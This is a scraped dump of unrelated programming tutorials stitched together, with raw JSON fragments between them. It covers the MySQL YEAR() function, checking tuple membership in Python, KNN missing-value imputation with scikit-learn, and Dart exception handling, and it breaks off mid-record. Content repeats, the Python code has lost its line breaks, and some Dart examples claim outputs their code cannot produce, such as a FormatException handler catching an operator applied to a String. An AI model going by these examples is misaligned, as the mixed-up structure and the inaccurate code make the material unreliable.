"text": "date : The date or datetime from which we want to extract the year."
},
{
"code": null,
"e": 26036,
"s": 25980,
"text": "Returns : It returns the value range from 1000 to 9999."
},
{
"code": null,
"e": 26096,
"s": 26036,
"text": "Example-1 : Finding the Current Year Using Year() Function."
},
{
"code": null,
"e": 26133,
"s": 26096,
"text": "SELECT YEAR(NOW()) AS Current_Year;\n"
},
{
"code": null,
"e": 26142,
"s": 26133,
"text": "Output :"
},
{
"code": null,
"e": 26295,
"s": 26142,
"text": "mysql> SELECT YEAR(NOW()) AS Current_Year;\n+--------------+\n| Current_Year |\n+--------------+\n| 2020 |\n+--------------+\n1 row in set (0.00 sec)\n"
},
{
"code": null,
"e": 26367,
"s": 26295,
"text": "Example-2 : Finding the Year from given datetime Using Year() Function."
},
{
"code": null,
"e": 26413,
"s": 26367,
"text": "SELECT YEAR('2015-09-26 08:09:22') AS Year ;\n"
},
{
"code": null,
"e": 26422,
"s": 26413,
"text": "Output :"
},
{
"code": null,
"e": 26468,
"s": 26422,
"text": "+------+\n| Year |\n+------+\n| 2015 |\n+------+\n"
},
{
"code": null,
"e": 26562,
"s": 26468,
"text": "Example-3 : Finding the Year from given datetime Using Year() Function when the date is NULL."
},
{
"code": null,
"e": 26591,
"s": 26562,
"text": "SELECT YEAR(NULL) AS Year ;\n"
},
{
"code": null,
"e": 26600,
"s": 26591,
"text": "Output :"
},
{
"code": null,
"e": 26646,
"s": 26600,
"text": "+------+\n| Year |\n+------+\n| NULL |\n+------+\n"
},
{
"code": null,
"e": 26768,
"s": 26646,
"text": "Example-4 : The YEAR function can also be used to find total product sold in a year. To demonstrate create a table named."
},
{
"code": null,
"e": 26778,
"s": 26768,
"text": "Product :"
},
{
"code": null,
"e": 27025,
"s": 26778,
"text": "CREATE TABLE Product(\n Product_id INT AUTO_INCREMENT, \n Product_name VARCHAR(100) NOT NULL,\n Buying_price DECIMAL(13, 2) NOT NULL,\n Selling_price DECIMAL(13, 2) NOT NULL,\n Selling_Date Date NOT NULL,\n PRIMARY KEY(Product_id)\n);\n"
},
{
"code": null,
"e": 27072,
"s": 27025,
"text": "Now inserting some data to the Product table :"
},
{
"code": null,
"e": 27652,
"s": 27072,
"text": "INSERT INTO \n Product(Product_name, Buying_price, Selling_price, Selling_Date)\nVALUES\n ('Audi Q8', 10000000.00, 15000000.00, '2018-01-26' ),\n ('Volvo XC40', 2000000.00, 3000000.00, '2018-04-20' ),\n ('Audi A6', 4000000.00, 5000000.00, '2018-07-25' ),\n ('BMW X5', 5000500.00, 7006500.00, '2018-10-18' ),\n ('Jaguar XF', 5000000, 7507000.00, '2019-01-27' ),\n ('Mercedes-Benz C-Class', 4000000.00, 6000000.00, '2019-09-01' ),\n ('Jaguar F-PACE', 5000000.00, 7000000.00, '2019-12-26' ),\n ('Porsche Macan', 6500000.00, 8000000.00, '2020-06-16' ) ;\n"
},
{
"code": null,
"e": 27679,
"s": 27652,
"text": "So, Our table looks like :"
},
{
"code": null,
"e": 28730,
"s": 27679,
"text": "mysql> SELECT * FROM Product;\n+------------+-----------------------+--------------+---------------+--------------+\n| Product_id | Product_name | Buying_price | Selling_price | Selling_Date |\n+------------+-----------------------+--------------+---------------+--------------+\n| 1 | Audi Q8 | 10000000.00 | 15000000.00 | 2018-01-26 |\n| 2 | Volvo XC40 | 2000000.00 | 3000000.00 | 2018-04-20 |\n| 3 | Audi A6 | 4000000.00 | 5000000.00 | 2018-07-25 |\n| 4 | BMW X5 | 5000500.00 | 7006500.00 | 2018-10-18 |\n| 5 | Jaguar XF | 5000000.00 | 7507000.00 | 2019-01-27 |\n| 6 | Mercedes-Benz C-Class | 4000000.00 | 6000000.00 | 2019-09-01 |\n| 7 | Jaguar F-PACE | 5000000.00 | 7000000.00 | 2019-12-26 |\n| 8 | Porsche Macan | 6500000.00 | 8000000.00 | 2020-06-16 |\n+------------+-----------------------+--------------+---------------+--------------+\n"
},
{
"code": null,
"e": 28814,
"s": 28730,
"text": "Now, we are going to find number of product sold per year by using YEAR() function."
},
{
"code": null,
"e": 28963,
"s": 28814,
"text": "SELECT \n YEAR(Selling_Date) year, \n COUNT(Product_id) Product_Sold\nFROM \n Product\nGROUP BY YEAR(Selling_Date)\nORDER BY YEAR(Selling_Date);\n"
},
{
"code": null,
"e": 28972,
"s": 28963,
"text": "Output :"
},
{
"code": null,
"e": 29141,
"s": 28972,
"text": "+------+--------------+\n| year | Product_Sold |\n+------+--------------+\n| 2018 | 4 |\n| 2019 | 3 |\n| 2020 | 1 |\n+------+--------------+\n"
},
{
"code": null,
"e": 29150,
"s": 29141,
"text": "DBMS-SQL"
},
{
"code": null,
"e": 29156,
"s": 29150,
"text": "mysql"
},
{
"code": null,
"e": 29160,
"s": 29156,
"text": "SQL"
},
{
"code": null,
"e": 29164,
"s": 29160,
"text": "SQL"
},
{
"code": null,
"e": 29262,
"s": 29164,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29328,
"s": 29262,
"text": "How to Update Multiple Columns in Single Update Statement in SQL?"
},
{
"code": null,
"e": 29385,
"s": 29328,
"text": "How to Create a Table With Multiple Foreign Keys in SQL?"
},
{
"code": null,
"e": 29417,
"s": 29385,
"text": "What is Temporary Table in SQL?"
},
{
"code": null,
"e": 29432,
"s": 29417,
"text": "SQL | Subquery"
},
{
"code": null,
"e": 29510,
"s": 29432,
"text": "SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter"
},
{
"code": null,
"e": 29546,
"s": 29510,
"text": "SQL Query to Convert VARCHAR to INT"
},
{
"code": null,
"e": 29563,
"s": 29546,
"text": "SQL using Python"
},
{
"code": null,
"e": 29629,
"s": 29563,
"text": "How to Write a SQL Query For a Specific Date Range and Date Time?"
},
{
"code": null,
"e": 29691,
"s": 29629,
"text": "How to Select Data Between Two Dates and Times in SQL Server?"
}
] |
Python | Check if element is present in tuple - GeeksforGeeks
|
26 Nov, 2019
Sometimes, while working with data, we can have a problem in which we need to check if data we are working with has a particular element. Let’s discuss certain ways in which this task can be performed.
Method #1 : Using loopThis is brute force method to perform this task. In this, we iterate through the tuple and check each element if it’s our, if found we return True.
# Python3 code to demonstrate working of# Check if element is present in tuple# using loop # initialize tupletest_tup = (10, 4, 5, 6, 8) # printing original tupleprint("The original tuple : " + str(test_tup)) # initialize N N = 6 # Check if element is present in tuple# using loopres = False for ele in test_tup : if N == ele : res = True break # printing resultprint("Does tuple contain required value ? : " + str(res))
The original tuple : (10, 4, 5, 6, 8)
Does tuple contain required value ? : True
Method #2 : Using in operatorUsing in operator is most Pythonic way to perform this task. It is a one-liner and recommened to perform this task.
# Python3 code to demonstrate working of# Check if element is present in tuple# Using in operator # initialize tupletest_tup = (10, 4, 5, 6, 8) # printing original tupleprint("The original tuple : " + str(test_tup)) # initialize N N = 6 # Check if element is present in tuple# Using in operatorres = N in test_tup # printing resultprint("Does tuple contain required value ? : " + str(res))
The original tuple : (10, 4, 5, 6, 8)
Does tuple contain required value ? : True
Python tuple-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Read a file line by line in Python
How to Install PIP on Windows ?
Enumerate() in Python
Different ways to create Pandas Dataframe
Python program to convert a list to string
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Split string into list of characters
Python | Convert a list to dictionary
|
[
{
"code": null,
"e": 26215,
"s": 26187,
"text": "\n26 Nov, 2019"
},
{
"code": null,
"e": 26417,
"s": 26215,
"text": "Sometimes, while working with data, we can have a problem in which we need to check if data we are working with has a particular element. Let’s discuss certain ways in which this task can be performed."
},
{
"code": null,
"e": 26587,
"s": 26417,
"text": "Method #1 : Using loopThis is brute force method to perform this task. In this, we iterate through the tuple and check each element if it’s our, if found we return True."
},
{
"code": "# Python3 code to demonstrate working of# Check if element is present in tuple# using loop # initialize tupletest_tup = (10, 4, 5, 6, 8) # printing original tupleprint(\"The original tuple : \" + str(test_tup)) # initialize N N = 6 # Check if element is present in tuple# using loopres = False for ele in test_tup : if N == ele : res = True break # printing resultprint(\"Does tuple contain required value ? : \" + str(res))",
"e": 27030,
"s": 26587,
"text": null
},
{
"code": null,
"e": 27112,
"s": 27030,
"text": "The original tuple : (10, 4, 5, 6, 8)\nDoes tuple contain required value ? : True\n"
},
{
"code": null,
"e": 27259,
"s": 27114,
"text": "Method #2 : Using in operatorUsing in operator is most Pythonic way to perform this task. It is a one-liner and recommened to perform this task."
},
{
"code": "# Python3 code to demonstrate working of# Check if element is present in tuple# Using in operator # initialize tupletest_tup = (10, 4, 5, 6, 8) # printing original tupleprint(\"The original tuple : \" + str(test_tup)) # initialize N N = 6 # Check if element is present in tuple# Using in operatorres = N in test_tup # printing resultprint(\"Does tuple contain required value ? : \" + str(res))",
"e": 27654,
"s": 27259,
"text": null
},
{
"code": null,
"e": 27736,
"s": 27654,
"text": "The original tuple : (10, 4, 5, 6, 8)\nDoes tuple contain required value ? : True\n"
},
{
"code": null,
"e": 27758,
"s": 27736,
"text": "Python tuple-programs"
},
{
"code": null,
"e": 27765,
"s": 27758,
"text": "Python"
},
{
"code": null,
"e": 27781,
"s": 27765,
"text": "Python Programs"
},
{
"code": null,
"e": 27879,
"s": 27781,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27897,
"s": 27879,
"text": "Python Dictionary"
},
{
"code": null,
"e": 27932,
"s": 27897,
"text": "Read a file line by line in Python"
},
{
"code": null,
"e": 27964,
"s": 27932,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 27986,
"s": 27964,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 28028,
"s": 27986,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 28071,
"s": 28028,
"text": "Python program to convert a list to string"
},
{
"code": null,
"e": 28093,
"s": 28071,
"text": "Defaultdict in Python"
},
{
"code": null,
"e": 28132,
"s": 28093,
"text": "Python | Get dictionary keys as a list"
},
{
"code": null,
"e": 28178,
"s": 28132,
"text": "Python | Split string into list of characters"
}
] |
How to Handle Missing Data with Python and KNN | by Dario Radečić | Towards Data Science
|
Missing value imputation isn’t that difficult of a task to do. Methods range from simple mean imputation and complete removing of the observation to more advanced techniques like MICE. Nowadays, the more challenging task is to choose which method to use. Today we’ll explore one simple but highly effective way to impute missing data — the KNN algorithm.
KNN stands for K-Nearest Neighbors, a simple algorithm that makes predictions based on a defined number of nearest neighbors. It calculates distances from an instance you want to classify to every other instance in the training set. You can learn how to implement it from scratch here:
towardsdatascience.com
We won’t use the algorithm for classification purposes but to fill missing values, as the title suggests. The article will use the housing prices dataset, a simple and well-known one with just over 500 entries. You can download it here.
The article is structured as follows:
Dataset loading and exploration
KNN imputation
Imputer optimization
Conclusion
As mentioned previously, you can download the housing dataset from this link. Also, make sure you have both Numpy and Pandas imported. This is how the first couple of rows look:
By default, the dataset is very low on missing values — only five of them in a single attribute:
Let’s change that. It’s not something you would typically do, but we need a bit more of missing values. To start, let’s create two arrays of random numbers, ranging from 1 to the length of the dataset. The first array has 35 elements, and the second has 20 (arbitrary choice):
i1 = np.random.choice(a=df.index, size=35)i2 = np.random.choice(a=df.index, size=20)
Here’s how the first array looks like:
Your array will be different because the randomization process is, well, random. Next, we will replace existing values at particular indices with NANs. Here’s how:
df.loc[i1, 'INDUS'] = np.nandf.loc[i2, 'TAX'] = np.nan
Let’s now check again for missing values — this time, the count is different:
That’s all we need to begin with imputation. Let’s do that in the next section.
The entire imputation boils down to 4 lines of code — one of which is library import. We need KNNImputer from sklearn.impute and then make an instance of it in a well-known Scikit-Learn fashion. The class expects one mandatory parameter – n_neighbors. It tells the imputer what’s the size of the parameter K.
To start, let’s choose an arbitrary number of 3. We’ll optimize this parameter later, but 3 is good enough to start. Next, we can call the fit_transform method on our imputer to impute missing data.
Finally, we’ll convert the resulting array into a pandas.DataFrame object for easier interpretation. Here’s the code:
from sklearn.impute import KNNImputerimputer = KNNImputer(n_neighbors=3)imputed = imputer.fit_transform(df)df_imputed = pd.DataFrame(imputed, columns=df.columns)
Wasn’t that easy? Let’s check for missing values now:
As expected, there aren’t any. Still, one question remains — how do we pick the right value for K?
This housing dataset is aimed towards predictive modeling with regression algorithms, as the target variable is continuous (MEDV). It means we can train many predictive models where missing values are imputed with different values for K and see which one performs the best.
But first, the imports. We need a couple of things from Scikit-Learn — to split the dataset into training and testing subsets, train the model, and validate it. We’ve chosen the Random Forests algorithm for training, but the decision is once again arbitrary. RMSE was used for the validation:
from sklearn.model_selection import train_test_splitfrom sklearn.ensemble import RandomForestRegressorfrom sklearn.metrics import mean_squared_errorrmse = lambda y, yhat: np.sqrt(mean_squared_error(y, yhat))
Here are the steps necessary to perform the optimization:
Iterate over the possible range for K — all odd numbers between 1 and 20 will doPerform the imputation with the current K valueSplit the dataset into training and testing subsetsFit the Random Forests modelPredict on the test setEvaluate using RMSE
Iterate over the possible range for K — all odd numbers between 1 and 20 will do
Perform the imputation with the current K value
Split the dataset into training and testing subsets
Fit the Random Forests model
Predict on the test set
Evaluate using RMSE
It sounds like a lot, but it boils down to around 15 lines of code. Here’s the snippet:
def optimize_k(data, target): errors = [] for k in range(1, 20, 2): imputer = KNNImputer(n_neighbors=k) imputed = imputer.fit_transform(data) df_imputed = pd.DataFrame(imputed, columns=df.columns) X = df_imputed.drop(target, axis=1) y = df_imputed[target] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) model = RandomForestRegressor() model.fit(X_train, y_train) preds = model.predict(X_test) error = rmse(y_test, preds) errors.append({'K': k, 'RMSE': error}) return errors
We can now call the optimize_k function with our modified dataset (missing values in 3 columns) and pass in the target variable (MEDV):
k_errors = optimize_k(data=df, target='MEDV')
And that’s it! The k_errors array looks like this:
Or, represented visually:
It looks like K=15 is the optimal value in the given range, as it resulted in the smallest error. We won’t cover the interpretation of the error, as it’s beyond this article’s scope. Let’s wrap things up in the next section.
Missing data imputation is easy, at least the coding part. It’s the reasoning that makes it hard — understanding which attributes should and which shouldn’t be imputed. For example, maybe some values are missing because a customer isn’t using that type of service, making no sense to perform an imputation.
Consulting with a domain expert and studying the domain is always a way to go. The actual coding is easy.
Join my private email list for more helpful insights.
Loved the article? Become a Medium member to continue learning without limits. I’ll receive a portion of your membership fee if you use the following link, with no extra cost to you.
medium.com
Originally published at https://betterdatascience.com on October 21, 2020.
|
[
{
"code": null,
"e": 527,
"s": 172,
"text": "Missing value imputation isn’t that difficult of a task to do. Methods range from simple mean imputation and complete removing of the observation to more advanced techniques like MICE. Nowadays, the more challenging task is to choose which method to use. Today we’ll explore one simple but highly effective way to impute missing data — the KNN algorithm."
},
{
"code": null,
"e": 813,
"s": 527,
"text": "KNN stands for K-Nearest Neighbors, a simple algorithm that makes predictions based on a defined number of nearest neighbors. It calculates distances from an instance you want to classify to every other instance in the training set. You can learn how to implement it from scratch here:"
},
{
"code": null,
"e": 836,
"s": 813,
"text": "towardsdatascience.com"
},
{
"code": null,
"e": 1073,
"s": 836,
"text": "We won’t use the algorithm for classification purposes but to fill missing values, as the title suggests. The article will use the housing prices dataset, a simple and well-known one with just over 500 entries. You can download it here."
},
{
"code": null,
"e": 1111,
"s": 1073,
"text": "The article is structured as follows:"
},
{
"code": null,
"e": 1143,
"s": 1111,
"text": "Dataset loading and exploration"
},
{
"code": null,
"e": 1158,
"s": 1143,
"text": "KNN imputation"
},
{
"code": null,
"e": 1179,
"s": 1158,
"text": "Imputer optimization"
},
{
"code": null,
"e": 1190,
"s": 1179,
"text": "Conclusion"
},
{
"code": null,
"e": 1368,
"s": 1190,
"text": "As mentioned previously, you can download the housing dataset from this link. Also, make sure you have both Numpy and Pandas imported. This is how the first couple of rows look:"
},
{
"code": null,
"e": 1465,
"s": 1368,
"text": "By default, the dataset is very low on missing values — only five of them in a single attribute:"
},
{
"code": null,
"e": 1742,
"s": 1465,
"text": "Let’s change that. It’s not something you would typically do, but we need a bit more of missing values. To start, let’s create two arrays of random numbers, ranging from 1 to the length of the dataset. The first array has 35 elements, and the second has 20 (arbitrary choice):"
},
{
"code": null,
"e": 1827,
"s": 1742,
"text": "i1 = np.random.choice(a=df.index, size=35)i2 = np.random.choice(a=df.index, size=20)"
},
{
"code": null,
"e": 1866,
"s": 1827,
"text": "Here’s how the first array looks like:"
},
{
"code": null,
"e": 2030,
"s": 1866,
"text": "Your array will be different because the randomization process is, well, random. Next, we will replace existing values at particular indices with NANs. Here’s how:"
},
{
"code": null,
"e": 2085,
"s": 2030,
"text": "df.loc[i1, 'INDUS'] = np.nandf.loc[i2, 'TAX'] = np.nan"
},
{
"code": null,
"e": 2163,
"s": 2085,
"text": "Let’s now check again for missing values — this time, the count is different:"
},
{
"code": null,
"e": 2243,
"s": 2163,
"text": "That’s all we need to begin with imputation. Let’s do that in the next section."
},
{
"code": null,
"e": 2552,
"s": 2243,
"text": "The entire imputation boils down to 4 lines of code — one of which is library import. We need KNNImputer from sklearn.impute and then make an instance of it in a well-known Scikit-Learn fashion. The class expects one mandatory parameter – n_neighbors. It tells the imputer what’s the size of the parameter K."
},
{
"code": null,
"e": 2751,
"s": 2552,
"text": "To start, let’s choose an arbitrary number of 3. We’ll optimize this parameter later, but 3 is good enough to start. Next, we can call the fit_transform method on our imputer to impute missing data."
},
{
"code": null,
"e": 2869,
"s": 2751,
"text": "Finally, we’ll convert the resulting array into a pandas.DataFrame object for easier interpretation. Here’s the code:"
},
{
"code": null,
"e": 3031,
"s": 2869,
"text": "from sklearn.impute import KNNImputerimputer = KNNImputer(n_neighbors=3)imputed = imputer.fit_transform(df)df_imputed = pd.DataFrame(imputed, columns=df.columns)"
},
{
"code": null,
"e": 3085,
"s": 3031,
"text": "Wasn’t that easy? Let’s check for missing values now:"
},
{
"code": null,
"e": 3184,
"s": 3085,
"text": "As expected, there aren’t any. Still, one question remains — how do we pick the right value for K?"
},
{
"code": null,
"e": 3458,
"s": 3184,
"text": "This housing dataset is aimed towards predictive modeling with regression algorithms, as the target variable is continuous (MEDV). It means we can train many predictive models where missing values are imputed with different values for K and see which one performs the best."
},
{
"code": null,
"e": 3751,
"s": 3458,
"text": "But first, the imports. We need a couple of things from Scikit-Learn — to split the dataset into training and testing subsets, train the model, and validate it. We’ve chosen the Random Forests algorithm for training, but the decision is once again arbitrary. RMSE was used for the validation:"
},
{
"code": null,
"e": 3959,
"s": 3751,
"text": "from sklearn.model_selection import train_test_splitfrom sklearn.ensemble import RandomForestRegressorfrom sklearn.metrics import mean_squared_errorrmse = lambda y, yhat: np.sqrt(mean_squared_error(y, yhat))"
},
{
"code": null,
"e": 4017,
"s": 3959,
"text": "Here are the steps necessary to perform the optimization:"
},
{
"code": null,
"e": 4266,
"s": 4017,
"text": "Iterate over the possible range for K — all odd numbers between 1 and 20 will doPerform the imputation with the current K valueSplit the dataset into training and testing subsetsFit the Random Forests modelPredict on the test setEvaluate using RMSE"
},
{
"code": null,
"e": 4347,
"s": 4266,
"text": "Iterate over the possible range for K — all odd numbers between 1 and 20 will do"
},
{
"code": null,
"e": 4395,
"s": 4347,
"text": "Perform the imputation with the current K value"
},
{
"code": null,
"e": 4447,
"s": 4395,
"text": "Split the dataset into training and testing subsets"
},
{
"code": null,
"e": 4476,
"s": 4447,
"text": "Fit the Random Forests model"
},
{
"code": null,
"e": 4500,
"s": 4476,
"text": "Predict on the test set"
},
{
"code": null,
"e": 4520,
"s": 4500,
"text": "Evaluate using RMSE"
},
{
"code": null,
"e": 4608,
"s": 4520,
"text": "It sounds like a lot, but it boils down to around 15 lines of code. Here’s the snippet:"
},
{
"code": null,
"e": 5227,
"s": 4608,
"text": "def optimize_k(data, target): errors = [] for k in range(1, 20, 2): imputer = KNNImputer(n_neighbors=k) imputed = imputer.fit_transform(data) df_imputed = pd.DataFrame(imputed, columns=df.columns) X = df_imputed.drop(target, axis=1) y = df_imputed[target] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) model = RandomForestRegressor() model.fit(X_train, y_train) preds = model.predict(X_test) error = rmse(y_test, preds) errors.append({'K': k, 'RMSE': error}) return errors"
},
{
"code": null,
"e": 5363,
"s": 5227,
"text": "We can now call the optimize_k function with our modified dataset (missing values in 3 columns) and pass in the target variable (MEDV):"
},
{
"code": null,
"e": 5409,
"s": 5363,
"text": "k_errors = optimize_k(data=df, target='MEDV')"
},
{
"code": null,
"e": 5460,
"s": 5409,
"text": "And that’s it! The k_errors array looks like this:"
},
{
"code": null,
"e": 5486,
"s": 5460,
"text": "Or, represented visually:"
},
{
"code": null,
"e": 5711,
"s": 5486,
"text": "It looks like K=15 is the optimal value in the given range, as it resulted in the smallest error. We won’t cover the interpretation of the error, as it’s beyond this article’s scope. Let’s wrap things up in the next section."
},
{
"code": null,
"e": 6018,
"s": 5711,
"text": "Missing data imputation is easy, at least the coding part. It’s the reasoning that makes it hard — understanding which attributes should and which shouldn’t be imputed. For example, maybe some values are missing because a customer isn’t using that type of service, making no sense to perform an imputation."
},
{
"code": null,
"e": 6124,
"s": 6018,
"text": "Consulting with a domain expert and studying the domain is always a way to go. The actual coding is easy."
},
{
"code": null,
"e": 6178,
"s": 6124,
"text": "Join my private email list for more helpful insights."
},
{
"code": null,
"e": 6361,
"s": 6178,
"text": "Loved the article? Become a Medium member to continue learning without limits. I’ll receive a portion of your membership fee if you use the following link, with no extra cost to you."
},
{
"code": null,
"e": 6372,
"s": 6361,
"text": "medium.com"
}
] |
Dart - Types of Exceptions - GeeksforGeeks
|
23 Feb, 2021
Exception is a runtime unwanted event that disrupts the flow of code execution. It can be occurred because of a programmer’s mistake or by wrong user input. To handle such events at runtime is called Exception Handling. For example:- when we try to access the elements from the empty list. Dart Exceptions are the run-time error. It is raised when the program gets execution.
The below table has a listing of principal dart exceptions.
Every built-in exception in Drat comes under a pre-defined class named Exception. To prevent the program from exception we make use of try/on/catch blocks in Dart.
try {
// program that might throw an exception
}
on Exception1 {
// code for handling exception 1
}
catch Exception2 {
// code for handling exception 2
}
Try: In the try block, we write the logical code that can produce the exceptionCatch: Catch block is written with try block to catch the general exceptions: In other words, if it is not clear what kind of exception will be produced. Catch block is used.On: On the block is used when it is 100% sure what kind of exception will be thrown.Finally: The final part is always executed, but it is not mandatory.
Try: In the try block, we write the logical code that can produce the exception
Catch: Catch block is written with try block to catch the general exceptions: In other words, if it is not clear what kind of exception will be produced. Catch block is used.
On: On the block is used when it is 100% sure what kind of exception will be thrown.
Finally: The final part is always executed, but it is not mandatory.
Example 1: Using a try-on block in the dart.
Dart
// importing dart:io file import 'dart:io'; void main() { String geek = "GeeksForGeeks"; try{ var geek2 = geek ~/ 0; print(geek2); } on FormatException{ print("Error!! \nCan't act as input is not an integer."); } }
Output:
Error!!
Can't act as input is not an integer.
Explanation:
In the above code, we declared two-variable geek and geek2 in the main () function. We wrote the suspect code in try block divided the x by the 0 that might be thrown an exception. The try block found the error the control transferred to the block that has the code to handle the error. By using this, the program did not stop its execution.
Example 2: Using a try-catch block in the dart.
Dart
void main() { String geek = "GeeksForGeeks"; try{ var geek2 = geek ~/ 0; print(geek2); } // It returns the built-in exception // related to the occurring exception catch(e){ print(e); } }
Output:
Class 'String' has no instance method '~/'.
NoSuchMethodError: method not found: '~/'
Receiver: "GeeksForGeeks"
Arguments: [0]
Example 3: Using an on...catch block in the dart.
Dart
void main() { String geek = "GeeksForGeeks"; try{ var geek2 = geek ~/ 0; print(geek2); } on FormatException catch(e) { print("Error!! \nCan't act as input is not an integer."); } }
Output:
FormatException
The final block in dart is used to include specific code that must be executed irrespective of error in the code. Although it is optional to include the finally block if you include it then it should be after try and catch block are over.
Syntax:
try {
.....
}
on Exception1 {
....
}
catch Exception2 {
....
}
finally {
// code that should always execute; whether exception or not.
}
Example:
Dart
void main() { String geek = "GeeksForGeeks"; try{ var geek2 = geek ~/ 0; print(geek2); } on FormatException{ print("Error!! \nCan't act as input is not an integer."); } finally { print("Code is at end, Geek"); } }
Output:
Error!!
Can't act as input is not an integer.
Code is at end, Geek
The throw keyword is used to explicitly raise an exception. Dart provides many built-in exception classes which you can throw manually.
Syntax: throw new Exception_name()
Example:
Dart
void main() { try { geek(-5); } catch(e) { print('The marks cannot be negative'); } } void geek(int div2) { if(div2<0) { throw new FormatException(); // Raising explanation externally } }
Output:
The marks cannot be negative
In the above program, we have wrapped geek(-5) statement in try block because it can throw an exception.
Every exception class inherits from the Exception class. Dart enables creating custom exceptions by extending the existing ones.
Syntax: class Custom_exception_Name implements Exception { }
Example: Creating custom exceptions in the dart.
Dart
// extending Class Age // with Exception class class Age implements Exception { String error() => 'Geek, your age is less than 18 '; } void main() { int geek_age1 = 20; int geek_age2 = 10; try{ // Checking Age and // calling if the // exception occur check(geek_age1); check(geek_age2); } catch(e){ // Printing error print(e.error()); } } // Checking Age void check(int age){ if(age < 18){ throw new Age(); } else{ print("You are eligible to visit GeeksForGeeks "); } }
Output:
You are eligible to visit GeeksForGeeks
Geek, your age is less than 18
In the above example, we created a custom exception, Age. The code raised the exception if the entered amount is not within the excepted range, and we enclosed the function invocation in the try...catch block.
Dart-Exception-Handling
Picked
Dart
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Flutter - Custom Bottom Navigation Bar
Flutter - Flexible Widget
ListView Class in Flutter
Flutter - Stack Widget
Android Studio Setup for Flutter Development
Format Dates in Flutter
Flutter - Positioned Widget
Simple Calculator App using Flutter
Flutter - Dialogs
Flutter - Managing the MediaQuery Object
|
[
{
"code": null,
"e": 23619,
"s": 23591,
"text": "\n23 Feb, 2021"
},
{
"code": null,
"e": 23997,
"s": 23619,
"text": "Exception is a runtime unwanted event that disrupts the flow of code execution. It can be occurred because of a programmer’s mistake or by wrong user input. To handle such events at runtime is called Exception Handling. For example:- when we try to access the elements from the empty list. Dart Exceptions are the run-time error. It is raised when the program gets execution. "
},
{
"code": null,
"e": 24057,
"s": 23997,
"text": "The below table has a listing of principal dart exceptions."
},
{
"code": null,
"e": 24221,
"s": 24057,
"text": "Every built-in exception in Drat comes under a pre-defined class named Exception. To prevent the program from exception we make use of try/on/catch blocks in Dart."
},
{
"code": null,
"e": 24392,
"s": 24221,
"text": "try { \n // program that might throw an exception \n} \non Exception1 { \n // code for handling exception 1\n} \ncatch Exception2 { \n // code for handling exception 2\n}"
},
{
"code": null,
"e": 24798,
"s": 24392,
"text": "Try: In the try block, we write the logical code that can produce the exceptionCatch: Catch block is written with try block to catch the general exceptions: In other words, if it is not clear what kind of exception will be produced. Catch block is used.On: On the block is used when it is 100% sure what kind of exception will be thrown.Finally: The final part is always executed, but it is not mandatory."
},
{
"code": null,
"e": 24878,
"s": 24798,
"text": "Try: In the try block, we write the logical code that can produce the exception"
},
{
"code": null,
"e": 25053,
"s": 24878,
"text": "Catch: Catch block is written with try block to catch the general exceptions: In other words, if it is not clear what kind of exception will be produced. Catch block is used."
},
{
"code": null,
"e": 25138,
"s": 25053,
"text": "On: On the block is used when it is 100% sure what kind of exception will be thrown."
},
{
"code": null,
"e": 25207,
"s": 25138,
"text": "Finally: The final part is always executed, but it is not mandatory."
},
{
"code": null,
"e": 25253,
"s": 25207,
"text": "Example 1: Using a try-on block in the dart. "
},
{
"code": null,
"e": 25258,
"s": 25253,
"text": "Dart"
},
{
"code": "// importing dart:io file import 'dart:io'; void main() { String geek = \"GeeksForGeeks\"; try{ var geek2 = geek ~/ 0; print(geek2); } on FormatException{ print(\"Error!! \\nCan't act as input is not an integer.\"); } }",
"e": 25519,
"s": 25258,
"text": null
},
{
"code": null,
"e": 25527,
"s": 25519,
"text": "Output:"
},
{
"code": null,
"e": 25574,
"s": 25527,
"text": "Error!! \nCan't act as input is not an integer."
},
{
"code": null,
"e": 25587,
"s": 25574,
"text": "Explanation:"
},
{
"code": null,
"e": 25929,
"s": 25587,
"text": "In the above code, we declared two-variable geek and geek2 in the main () function. We wrote the suspect code in try block divided the x by the 0 that might be thrown an exception. The try block found the error the control transferred to the block that has the code to handle the error. By using this, the program did not stop its execution."
},
{
"code": null,
"e": 25978,
"s": 25929,
"text": "Example 2: Using a try-catch block in the dart. "
},
{
"code": null,
"e": 25983,
"s": 25978,
"text": "Dart"
},
{
"code": "void main() { String geek = \"GeeksForGeeks\"; try{ var geek2 = geek ~/ 0; print(geek2); } // It returns the built-in exception // related to the occurring exception catch(e){ print(e); } }",
"e": 26262,
"s": 25983,
"text": null
},
{
"code": null,
"e": 26270,
"s": 26262,
"text": "Output:"
},
{
"code": null,
"e": 26397,
"s": 26270,
"text": "Class 'String' has no instance method '~/'.\nNoSuchMethodError: method not found: '~/'\nReceiver: \"GeeksForGeeks\"\nArguments: [0]"
},
{
"code": null,
"e": 26447,
"s": 26397,
"text": "Example 3: Using an on...catch block in the dart."
},
{
"code": null,
"e": 26452,
"s": 26447,
"text": "Dart"
},
{
"code": "void main() { String geek = \"GeeksForGeeks\"; try{ var geek2 = geek ~/ 0; print(geek2); } on FormatException catch(e) { print(\"Error!! \\nCan't act as input is not an integer.\"); } }",
"e": 26679,
"s": 26452,
"text": null
},
{
"code": null,
"e": 26687,
"s": 26679,
"text": "Output:"
},
{
"code": null,
"e": 26703,
"s": 26687,
"text": "FormatException"
},
{
"code": null,
"e": 26943,
"s": 26703,
"text": " The final block in dart is used to include specific code that must be executed irrespective of error in the code. Although it is optional to include the finally block if you include it then it should be after try and catch block are over."
},
{
"code": null,
"e": 27126,
"s": 26943,
"text": "Syntax:\ntry { \n ..... \n} \non Exception1 { \n .... \n} \ncatch Exception2 { \n ....\n} \nfinally { \n // code that should always execute; whether exception or not. \n} "
},
{
"code": null,
"e": 27135,
"s": 27126,
"text": "Example:"
},
{
"code": null,
"e": 27140,
